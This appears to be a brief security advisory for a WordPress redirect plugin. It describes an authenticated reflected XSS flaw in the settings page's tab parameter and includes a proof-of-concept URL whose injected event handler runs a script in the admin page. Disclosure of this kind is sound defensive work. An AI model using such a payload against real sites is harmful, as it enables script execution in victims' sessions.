The tab parameter of the settings page of the plugin was vulnerable to an authenticated reflected Cross-Site Scripting (XSS) issue as user input was not properly sanitised before being output in an attribute.
https://example.com/wp-admin/options-general.php?page=all-404-redirect-to-homepage&tab=on%22style%3D%22animation-name%3Arotation%22+onanimationstart%3D%22alert%28origin%29%22%3E